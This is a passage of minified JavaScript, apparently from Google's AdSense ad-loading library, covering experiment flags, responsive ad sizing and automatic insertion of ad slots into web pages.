a=p,b=a,c=0;a&&a!=a.parent;)if(a=a.parent,c++,Wb(a))b=a;else break;Af=b}return Af};function Cf(){this.a=function(){return[]};this.b=function(){return[]}}function Df(a,b){a.a=cf(Qe,b,function(){});a.b=cf(Re,b,function(){return[]})}va(Cf);var Ef={c:"368226950",g:"368226951"},Ff={c:"368226960",g:"368226961"},Gf={c:"368226470",U:"368226471"},Hf={c:"368226480",U:"368226481"},If={c:"332260030",R:"332260031",P:"332260032"},Jf={c:"332260040",R:"332260041",P:"332260042"},Kf={c:"368226100",g:"368226101"},Lf={c:"368226110",g:"368226111"},Mf={c:"368226500",g:"368226501"},Nf={c:"36998750",g:"36998751"},Of={c:"633794000",B:"633794004"},Pf={c:"633794002",B:"633794005"},Qf={c:"231196899",g:"231196900"},Rf={c:"231196901",g:"231196902"},Sf={c:"21063914",g:"21063915"},Tf={c:"4089040",Da:"4089042"},Uf={o:"20040067",c:"20040068",la:"1337"},Vf={c:"21060548",o:"21060549"},Wf={c:"21060623",o:"21060624"},Xf={c:"22324606",g:"22324607"},Yf={c:"21062271",o:"21062272"},Zf={c:"368226370",g:"368226371"},$f={c:"368226380",g:"368226381"},ag={c:"182982000",g:"182982100"},cg={c:"182982200",g:"182982300"},dg={c:"182983000",g:"182983100"},eg={c:"182983200",g:"182983300"},fg={c:"182984000",g:"182984100"},gg={c:"182984200",g:"182984300"},hg={c:"229739148",g:"229739149"},ig={c:"229739146",g:"229739147"},jg={c:"20040012",g:"20040013"},kg={c:"151527201",T:"151527221",L:"151527222",K:"151527223",I:"151527224",J:"151527225"},P={c:"151527001",T:"151527021",L:"151527022",K:"151527023",I:"151527024",J:"151527025"},lg={c:"151527002",aa:"151527006",ba:"151527007"};function mg(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.adRegion=null;this.improveCollisionDetection=0;this.messageValidationEnabled=!1}function ng(a){a.google_reactive_ads_global_state||(a.google_reactive_ads_global_state=new mg);return a.google_reactive_ads_global_state};function og(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Q(a){return og(a).clientWidth};function pg(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=F(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function qg(a,b){return!((hc.test(b.google_ad_width)||gc.test(a.style.width))&&(hc.test(b.google_ad_height)||gc.test(a.style.height)))}function rg(a,b){return(a=sg(a,b))?a.y:0}function sg(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function tg(a,b){do{var c=$b(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0}function ug(a){var b=0,c;for(c in uf)-1!=a.indexOf(c)&&(b|=uf[c]);return b}function vg(a,b,c,d,e){if(Lc(a)!=a)return Mc(a)?3:16;if(!(488>Q(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Q(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Q(a);for(b=b.parentElement;b;b=b.parentElement)if((d=$b(b,a))&&(e=F(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a}function wg(a,b,c,d){var e=vg(b,c,a,.3,d);if(!0!==e)return e;e=Q(b);a=e-a;a=e&&0<=a?!0:e?-10>a?11:0>a?14:12:10;return"true"==d.google_full_width_responsive||tg(c,b)?a:9}function xg(a,b,c){"rtl"==b?a.style.marginRight=c:a.style.marginLeft=c}function yg(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=$b(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function zg(a,b,c){a=sg(b,a);return"rtl"==c?-a.x:a.x}function Ag(a,b,c,d,e,f){var g=J(a,Kf.g);var h=J(a,Kf.c);if(g||h)f.ovlp=!0;if(g){if(e=b.parentElement)if(e=$b(e,a))b.style.width=Q(a)+"px",e=e.direction,xg(b,e,"0px"),c=zg(a,b,e),xg(b,e,-1*c+"px"),a=zg(a,b,e),0!==a&&a!==c&&xg(b,e,c/(a-c)*c+"px"),b.style.zIndex=30}else if(a=$b(c,a)){g=F(a.paddingLeft)||0;a=a.direction;d=e-d;if(f.google_ad_resize)c=-1*(d+g)+"px";else{for(h=f=0;100>h&&c;h++)f+=c.offsetLeft+c.clientLeft-c.scrollLeft,c=c.offsetParent;c=f+g;c="rtl"==a?-1*(d-c)+"px":-1*c+"px"}xg(b,a,c);b.style.width=e+"px";b.style.zIndex=30}};function R(a,b){this.b=a;this.a=b}l=R.prototype;l.minWidth=function(){return this.b};l.height=function(){return this.a};l.M=function(a){return 300<a&&300<this.a?this.b:Math.min(1200,Math.round(a))};l.ea=function(a){return this.M(a)+"x"+this.height()};l.Z=function(){};function Bg(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=$b(a,b))&&e[c]&&d(e[c])||null}function Cg(a){return function(b){return b.minWidth()<=a}}function Dg(a,b,c,d){var e=a&&Eg(c,b),f=Fg(b,d);return function(g){return!(e&&g.height()>=f)}}function Gg(a){return function(b){return b.height()<=a}}function Eg(a,b){return rg(a,b)<og(b).clientHeight-100}function Hg(a,b){a=rg(a,b);b=og(b).clientHeight;return 0==b?null:a/b}function Ig(a,b){var c=Infinity;do{var d=Bg(b,a,"height",F);d&&(c=Math.min(c,d));(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d))}while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Jg(a,b){var c=Bg(b,a,"height",F);if(c)return c;var d=b.style.height;b.style.height="inherit";c=Bg(b,a,"height",F);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&F(b.style.height))&&(c=Math.min(c,d)),(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Fg(a,b){var c=a.google_unique_id;return b&&0==("number"===typeof c?c:0)?Math.max(250,2*og(a).clientHeight/3):250};function Kg(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function Lg(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function Mg(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=yb(d.$a);a[e]=d.value}};function Ng(a,b,c,d){this.h=a;this.b=b;this.f=c;this.a=d}function Og(a,b){var c=[];try{c=b.querySelectorAll(a.h)}catch(g){}if(!c.length)return[];b=c;c=b.length;if(0<c){for(var d=Array(c),e=0;e<c;e++)d[e]=b[e];b=d}else b=[];b=Pg(a,b);pa(a.b)&&(c=a.b,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if(pa(a.f)){c=[];for(d=0;d<b.length;d++){e=Qg(b[d]);var f=a.f;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b}Ng.prototype.toString=function(){return JSON.stringify({nativeQuery:this.h,occurrenceIndex:this.b,paragraphIndex:this.f,ignoreMode:this.a})};function Pg(a,b){if(null==a.a)return b;switch(a.a){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.a);}}function Qg(a){var b=[];Kg(a.getElementsByTagName("p"),function(c){100<=Rg(c)&&b.push(c)});return b}function Rg(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;Kg(a.childNodes,function(c){b+=Rg(c)});return b}function Sg(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Tg(a){if(!a)return null;var b=y(a,7);if(y(a,1)||a.X()||0<y(a,4).length){var c=a.X(),d=y(a,1),e=y(a,4);b=y(a,2);var f=y(a,5);a=Ug(y(a,6));var g="";d&&(g+=d);c&&(g+="#"+Sg(c));if(e)for(c=0;c<e.length;c++)g+="."+Sg(e[c]);b=(e=g)?new Ng(e,b,f,a):null}else b=b?new Ng(b,y(a,2),y(a,5),Ug(y(a,6))):null;return b}var Vg={1:1,2:2,3:3,0:0};function Ug(a){return null!=a?Vg[a]:a}var Wg={1:0,2:1,3:2,4:3};function Xg(){this.a={};this.b={}}Xg.prototype.add=function(a){this.a[a]=!0;this.b[a]=a};Xg.prototype.contains=function(a){return!!this.a[a]};function Yg(){this.a={};this.b={}}Yg.prototype.set=function(a,b){this.a[a]=b;this.b[a]=a};Yg.prototype.get=function(a,b){return void 0!==this.a[a]?this.a[a]:b};function Zg(){this.a=new Yg}Zg.prototype.set=function(a,b){var c=this.a.get(a);c||(c=new Xg,this.a.set(a,c));c.add(b)};function $g(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3};if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function ah(a,b){this.b=a;this.a=b}function bh(a,b){var c=new Zg,d=new Xg;b.forEach(function(e){if(B(e,Xc,1)){e=B(e,Xc,1);if(B(e,Uc,1)&&B(B(e,Uc,1),Sc,1)&&B(e,Uc,2)&&B(B(e,Uc,2),Sc,1)){var f=ch(a,B(B(e,Uc,1),Sc,1)),g=ch(a,B(B(e,Uc,2),Sc,1));if(f&&g)for(f=ba($g({anchor:f,position:y(B(e,Uc,1),2)},{anchor:g,position:y(B(e,Uc,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(Aa(g.anchor),g.position)}B(e,Uc,3)&&B(B(e,Uc,3),Sc,1)&&(f=ch(a,B(B(e,Uc,3),Sc,1)))&&c.set(Aa(f),y(B(e,Uc,3),2))}else B(e,Yc,2)?dh(a,B(e,Yc,2),c):B(e,Zc,3)&&eh(a,B(e,Zc,3),d)});return new ah(c,d)}function dh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){d=Aa(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function eh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){c.add(Aa(d))})}function ch(a,b){return(a=fh(a,b))&&0<a.length?a[0]:null}function fh(a,b){return(b=Tg(b))?Og(b,a):null};function gh(a,b){var c=b.b-301,d=b.a+b.f+301,e=b.b+301,f=b.a-301;return!La(a,function(g){return g.left<d&&f<g.right&&g.top<e&&c<g.bottom})};function hh(a,b){if(!a)return!1;a=$b(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function ih(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function jh(a){return!!a.nextSibling||!!a.parentNode&&jh(a.parentNode)};function kh(a,b){return a&&null!=y(a,4)&&b[y(B(a,ad,4),2)]?!1:!0}function lh(a){var b={};a&&y(a,6).forEach(function(c){b[c]=!0});return b}function mh(a,b,c,d){this.a=p;this.$=a;this.f=b;this.i=d||null;this.s=(this.w=c)?bh(p.document,C(c,Vc,5)):bh(p.document,[]);this.b=0;this.h=!1}function nh(a,b){if(a.h)return!0;a.h=!0;var c=C(a.f,bd,1);a.b=0;var d=lh(a.w);if(B(a.f,ld,15)&&Gb(B(a.f,ld,15),12)){var e=sf(a.a);e=null===e?null:C(e,pf,5);if(null!=e){var f=sf(a.a);f=null!==f&&null!=y(f,3)&&null!==Eb(f,3)?Eb(f,3):.3;var g=sf(a.a);g=null!==g&&null!=y(g,4)?Eb(g,4):1;f-=g;g=[];for(var h=0;h<e.length&&.05<=f&&4>(oh(a).numAutoAdsPlaced||0);h++){var k=y(e[h],1);if(null==k)break;var m=c[k],n=B(e[h],of,2);null!=n&&null!=Eb(n,1)&&null!=Eb(n,2)&&null!=Eb(n,3)&&(n=new nf(Eb(n,1),Eb(n,2),Eb(n,3)),gh(g,n)&&(k=ph(a,m,k,b,d),null!=k&&null!=k.V&&(k=k.V.getBoundingClientRect(),g.push(k),m=a.a,f-=k.width*k.height/(og(m).clientHeight*Q(m)))))}}return!0}e=sf(a.a);if(null!==e&&Gb(e,2))return oh(a).eatf=!0,mf(7,[!0,0,!1]),!0;for(e=0;e<c.length;e++)if(ph(a,c[e],e,b,d))return!0;mf(7,[!1,a.b,!1]);return!1}function ph(a,b,c,d,e){if(1!==y(b,8)||!kh(b,e))return null;var f=B(b,ad,4);if(f&&2==y(f,1)){a.b++;if(b=qh(a,b,d,e))d=oh(a),d.placement=c,d.numAutoAdsPlaced||(d.numAutoAdsPlaced=0),d.numAutoAdsPlaced++,mf(7,[!1,a.b,!0]);return b}return null}function qh(a,b,c,d){if(!kh(b,d)||1!=y(b,8))return null;d=B(b,Sc,1);if(!d)return null;d=Tg(d);if(!d)return null;d=Og(d,a.a.document);if(0==d.length)return null;d=d[0];var e=y(b,2);e=Wg[e];e=void 0!==e?e:null;var f;if(!(f=null==e)){a:{f=a.a;switch(e){case 0:f=hh(ih(d),f);break a;case 3:f=hh(d,f);break a;case 2:var g=d.lastChild;f=hh(g?1==g.nodeType?g:ih(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!jh(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!Lg(c)&&0>=c.offsetWidth);f=!c}if(!(c=f)){c=a.s;f=y(b,2);g=Aa(d);g=c.b.a.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.a.contains(Aa(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.a.contains(Aa(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(c)return null;f=B(b,$c,3);c={};f&&(c.za=y(f,1),c.na=y(f,2),c.Ha=!!Fb(f,3));f=B(b,ad,4)&&y(B(b,ad,4),2)?y(B(b,ad,4),2):null;f=ie(f);b=null==y(b,12)?null:y(b,12);b=he(a.i,f,null==b?null:new ge(null,{google_ml_rank:b}));f=a.a;a=a.$;var h=f.document;g=Rb((new Sb(h)).a,"DIV");var k=g.style;k.textAlign="center";k.width="100%";k.height="auto";k.clear=c.Ha?"both":"none";c.Pa&&Mg(k,c.Pa);h=Rb((new Sb(h)).a,"INS");k=h.style;k.display="block";k.margin="auto";k.backgroundColor="transparent";c.za&&(k.marginTop=c.za);c.na&&(k.marginBottom=c.na);c.Fa&&Mg(k,c.Fa);g.appendChild(h);c={da:g,V:h};c.V.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.oa)c.da.className=h.join(" ");h=c.V;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=c.da;switch(e){case 0:d.parentNode&&d.parentNode.insertBefore(m,d);break;case 3:var n=d.parentNode;if(n){var u=d.nextSibling;if(u&&u.parentNode!=n)for(;u&&8==u.nodeType;)u=u.nextSibling;n.insertBefore(m,u)}break;case 1:d.insertBefore(m,d.firstChild);break;case 2:d.appendChild(m)}Lg(d)&&(d.setAttribute("data-init-display",d.style.display),d.style.display="block");b:{var w=c.V;w.setAttribute("data-adsbygoogle-status","reserved");w.className+=" adsbygoogle-noablate";m={element:w};var z=b&&b.ua;if(w.hasAttribute("data-pub-vars")){try{z=JSON.parse(w.getAttribute("data-pub-vars"))}catch(H){break b}w.removeAttribute("data-pub-vars")}z&&(m.params=z);(f.adsbygoogle=f.adsbygoogle||[]).push(m)}}catch(H){(w=c.da)&&w.parentNode&&(z=w.parentNode,z.removeChild(w),Lg(z)&&(z.style.display=z.getAttribute("data-init-display")||"none"));w=!1;break a}w=!0}return w?c:null}function oh(a){return a.a.google_ama_state=a.a.google_ama_state||{}};function rh(){this.b=new sh(this);this.a=0}function th(a){if(0!=a.a)throw Error("Already resolved/rejected.");}function sh(a){this.a=a}function uh(a){switch(a.a.a){case 0:break;case 1:a.b&&a.b(a.a.h);break;case 2:a.f&&a.f(a.a.f);break;default:throw Error("Unhandled deferred state.");}};function vh(a,b){this.exception=b}function wh(a,b){this.f=p;this.a=a;this.b=b}wh.prototype.start=function(){this.h()};wh.prototype.h=function(){try{switch(this.f.document.readyState){case "complete":case "interactive":nh(this.a,!0);xh(this);break;default:nh(this.a,!1)?xh(this):this.f.setTimeout(Fa(this.h,this),100)}}catch(a){xh(this,a)}};function xh(a,b){try{var c=a.b,d=new vh(new tf(oh(a.a).numAutoAdsPlaced||0),b);th(c);c.a=1;c.h=d;uh(c.b)}catch(e){a=a.b,b=e,th(a),a.a=2,a.f=b,uh(a.b)}};function yh(a){me(a,{atf:1})}function zh(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;me(a,{atf:0})};function Ah(){this.debugCard=null;this.debugCardRequested=!1};function Bh(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=Ch(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function Ch(a){var b="";Dc(a.split("_"),function(c){b+=c.substr(0,2)});return b};function Dh(a,b,c){var d="script";d=void 0===d?"":d;var e=a.createElement("link");try{e.rel="preload";if(eb("preload","stylesheet"))var f=Xa(b).toString();else{if(b instanceof Va)var g=Xa(b).toString();else{if(b instanceof hb)var h=jb(b);else{if(b instanceof hb)var k=b;else b="object"==typeof b&&b.f?b.b():String(b),kb.test(b)||(b="about:invalid#zClosurez"),k=lb(b);h=jb(k)}g=h}f=g}e.href=f}catch(m){return}d&&(e.as=d);c&&e.setAttribute("nonce",c);if(a=a.getElementsByTagName("head")[0])try{a.appendChild(e)}catch(m){}};function Eh(a){var b={},c={};return c.enable_page_level_ads=(b.pltais=!0,b),c.google_ad_client=a,c};function Fh(a){if(!a)return"";(a=a.toLowerCase())&&"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function Gh(a,b){function c(d){try{var e=new Kb(d);return Ma(C(e,Mb,2),function(f){return 1==y(f,1)})}catch(f){return null}}b=void 0===b?"":b;a=Mc(a)||a;a=Hh(a);return b?(b=Fh(String(b)),a[b]?c(a[b]):null):Ma(Ka(Ta(a),c),function(d){return null!=d})}function Ih(a,b,c){function d(e){if(!e)return!1;e=new Kb(e);return y(e,3)&&Oa(y(e,3),b)}c=void 0===c?"":c;a=Mc(a)||a;if(Jh(a,b))return!0;a=Hh(a);return c?(c=Fh(String(c)),d(a[c])):Sa(a,d)}function Jh(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Oa(a.split(","),b.toString())}function Hh(a){try{return mc({},JSON.parse(a.localStorage.getItem("google_adsense_settings")))}catch(b){return{}}};function Kh(a){var b=Ih(p,12,a.google_ad_client);a="google_ad_host"in a;var c=J(p,Ef.g),d=Bh(p.location,"google_ads_preview");return b&&!a&&c||d}function Lh(a){if(p.google_apltlad||Lc(p)!=p||!a.google_ad_client)return null;var b=Kh(a),c=!J(p,Gf.U);if(!b&&!c)return null;p.google_apltlad=!0;var d=Eh(a.google_ad_client),e=d.enable_page_level_ads;ec(a,function(f,g){Rc[g]&&"google_ad_client"!=g&&(e[g]=f)});b?e.google_ad_channel="AutoInsertAutoAdCode":c&&(e.google_pgb_reactive=7,"google_ad_section"in a||"google_ad_region"in a)&&(e.google_ad_section=a.google_ad_section||a.google_ad_region);return d}function Mh(a){return za(a.enable_page_level_ads)&&7==a.enable_page_level_ads.google_pgb_reactive};function ae(a){try{var b=I(p).eids||[];null!=b&&0<b.length&&(a.eid=b.join(","))}catch(c){}}function $d(a){a.shv=wc()}Vd.h=!xc;function Nh(a,b){return rg(b,a)+Bg(b,a,"height",F)};var Oh=new K(200,399,""),Ph=new K(400,499,""),Qh=new K(600,699,""),Rh=new K(700,799,""),Sh=new K(800,899,""),Th=new K(1,399,"3"),Uh=new K(0,999,"5"),Vh=new K(400,499,"6"),Wh=new K(500,599,""),Xh=new K(0,999,"7"),Yh=new K(0,999,"8");function Zh(a){a=void 0===a?p:a;return a.ggeac||(a.ggeac={})};function $h(){var a={};this[3]=(a[8]=function(b){return!!ta(b)},a[9]=function(b){b=ta(b);var c;if(c="function"==wa(b))b=b&&b.toString&&b.toString(),c=q(b)&&eb(b,"[native code]");return c},a[10]=function(){return window==window.top},a[16]=function(){return qc()},a[22]=function(){return pc()},a);a={};this[4]=(a[5]=function(b){b=Dd(window,void 0===b?"":b);return null!=b?b:void 0},a[6]=function(b){b=ta(b);return pa(b)?b:void 0},a);a={};this[5]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=ta(b);return q(b)?b:void 0},a)}va($h);function ai(a){x(this,a,bi,null)}r(ai,v);var bi=[2];ai.prototype.X=function(){return A(this,1,0)};ai.prototype.W=function(){return A(this,7,0)};function ci(a){x(this,a,di,null)}r(ci,v);var di=[2];ci.prototype.W=function(){return A(this,5,0)};function ei(a){x(this,a,fi,null)}r(ei,v);function gi(a){x(this,a,hi,null)}r(gi,v);var fi=[1,2],hi=[2];gi.prototype.W=function(){return A(this,1,0)};var ii=[12,13];function ji(a,b){var c=this,d=void 0===b?{}:b;b=void 0===d.Ja?!1:d.Ja;var e=void 0===d.Oa?{}:d.Oa;d=void 0===d.Xa?[]:d.Xa;this.a=a;this.i=b;this.f=e;this.h=d;this.b={};(a=Fd())&&Ia(a.split(",")||[],function(f){(f=parseInt(f,10))&&(c.b[f]=!0)})}function ki(a,b){var c=[],d=li(a.a,b);d.length&&(9!==b&&(a.a=mi(a.a,b)),Ia(d,function(e){if(e=ni(a,e)){var f=e.X();c.push(f);a.h.push(f);(e=C(e,ze,2))&&Ne(e)}}));return c}function oi(a,b){a.a.push.apply(a.a,ca(Ja(Ka(b,function(c){return new gi(c)}),function(c){return!Oa(ii,c.W())})))}function ni(a,b){var c=De.j().a;if(!we(B(b,pe,3),c))return null;var d=C(b,ai,2),e=c?Ja(d,function(g){return we(B(g,pe,3),c)}):d,f=e.length;if(!f)return null;d=A(b,4,0);b=f*A(b,1,0);if(!d)return pi(a,e,b/1E3);f=null!=a.f[d]?a.f[d]:1E3;if(0>=f)return null;e=pi(a,e,b/f);a.f[d]=e?0:f-b;return e}function pi(a,b,c){var d=a.b,e=Ma(b,function(f){return!!d[f.X()]});return e?e:a.i?null:ac(b,c,!1)}function qi(a,b){N(Pe,function(c){a.b[c]=!0},b);N(Qe,function(c){return ki(a,c)},b);N(Re,function(){return a.h},b);N($e,function(c){return oi(a,c)},b)}function li(a,b){return(a=Ma(a,function(c){return c.W()==b}))&&C(a,ci,2)||[]}function mi(a,b){return Ja(a,function(c){return c.W()!=b})};function ri(){this.a=function(){}}va(ri);function si(){var a=$h.j();ri.j().a(a)};function ti(a,b){var c=void 0===c?Zh():c;c.hasOwnProperty("init-done")?(cf($e,c)(Ka(C(a,gi,2),function(d){return Jb(d)})),cf(af,c)(Ka(C(a,ze,1),function(d){return Jb(d)})),ui(c)):(qi(new ji(C(a,gi,2),b),c),df(c),ef(c),ff(c),ui(c),Ne(C(a,ze,1)),si())}function ui(a){var b=a=void 0===a?Zh():a;Df(Cf.j(),b);b=a;gf.j().a=cf(Te,b);ri.j().a=cf(bf,a)};function S(a,b){b&&a.push(b)}function vi(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];d=Mc(a)||a;d=(d=(d=d.location&&d.location.hash)&&(d.match(/google_plle=([\d,]+)/)||d.match(/deid=([\d,]+)/)))&&d[1];return!!d&&La(c,Ga(eb,d))}function wi(a,b,c){for(var d=0;d<c.length;d++)if(vi(a,c[d]))return c[d];return ac(c,b)}function T(a,b,c,d,e,f){f=void 0===f?1:f;for(var g=0;g<e.length;g++)if(vi(a,e[g]))return e[g];f=void 0===f?1:f;0>=d?c=null:(g=new Cd(c,c+d-1),(d=d%f||d/f%e.length)||(d=b.b,d=!(d.start<=g.start&&d.a>=g.a)),d?c=null:(a=Dd(a,b.a),c=null!==a&&g.start<=a&&g.a>=a?e[Math.floor((a-c)/f)%e.length]:null));return c};function xi(a,b,c){if(Wb(a.document.getElementById(b).contentWindow))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&&b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open("text/html","replace"):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=['"'];for(var d=0;d<c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=wb[e])){if(!(31<f&&127>f))if(f=e,f in xb)e=xb[f];else if(f in wb)e=xb[f]=wb[f];else{h=f.charCodeAt(0);if(31<h&&127>h)e=f;else{if(256>h){if(e="\\x",16>h||256<h)e+="0"}else e="\\u",4096>h&&(e+="0");e+=h.toString(16).toUpperCase()}e=xb[f]=e}h=e}b[g]=h}b.push('"');a.location.replace("javascript:"+b.join(""))}};var yi=null;function U(a,b,c,d){d=void 0===d?!1:d;R.call(this,a,b);this.Y=c;this.Ma=d}ka(U,R);U.prototype.ha=function(){return this.Y};U.prototype.Z=function(a,b,c,d){if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);var e=J(a,P.c),f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0)}};function zi(a){return function(b){return!!(b.Y&a)}};var Ai=zb("script");function Bi(a,b,c,d,e,f,g,h,k,m,n,u,w,z){this.sa=a;this.a=b;this.Y=void 0===c?null:c;this.f=void 0===d?null:d;this.ja=void 0===e?null:e;this.b=void 0===f?null:f;this.h=void 0===g?null:g;this.w=void 0===h?!1:h;this.$=void 0===k?!1:k;this.Aa=void 0===m?null:m;this.Ba=void 0===n?null:n;this.i=void 0===u?null:u;this.s=void 0===w?null:w;this.Ca=void 0===z?null:z;this.ka=this.xa=this.ta=null}function Ci(a,b,c){null!=a.Y&&(c.google_responsive_formats=a.Y);null!=a.ja&&(c.google_safe_for_responsive_override=a.ja);null!=a.b&&(!0===a.b?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.b));null!=a.h&&!0!==a.h&&(c.gfwrnher=a.h);a.w&&(c.google_bfa=a.w);a.$&&(c.ebfa=a.$);var d=a.s||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.i||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.a.M(b);var e=a.a.height();c.google_ad_resize||(c.google_ad_width=d,c.google_ad_height=e,c.google_ad_format=a.a.ea(b),c.google_responsive_auto_format=a.sa,null!=a.f&&(c.armr=a.f),c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,!0===a.b&&(c.gfwrnh=a.a.height()+"px"));null!=a.Aa&&(c.gfwroml=a.Aa);null!=a.Ba&&(c.gfwromr=a.Ba);null!=a.i&&(c.gfwroh=a.i);null!=a.s&&(c.gfwrow=a.s);null!=a.Ca&&(c.gfwroz=a.Ca);null!=a.ta&&(c.gml=a.ta);null!=a.xa&&(c.gmr=a.xa);null!=a.ka&&(c.gzi=a.ka);b=Jc();b=Mc(b)||b;Bh(b.location,"google_responsive_slot_debug")&&(c.ds="outline:thick dashed "+(d&&e?!0!==a.b||!0!==a.h?"#ffa500":"#0f0":"#f00")+" !important;");!Bh(b.location,"google_responsive_dummy_ad")||!Oa([1,2,3,4,5,6,7,8],a.sa)&&1!==a.f||c.google_ad_resize||2===a.f||(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Ai+">window.top.postMessage('"+a+"', '*');\n </"+Ai+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};/* Copyright 2019 The AMP HTML Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS-IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ var 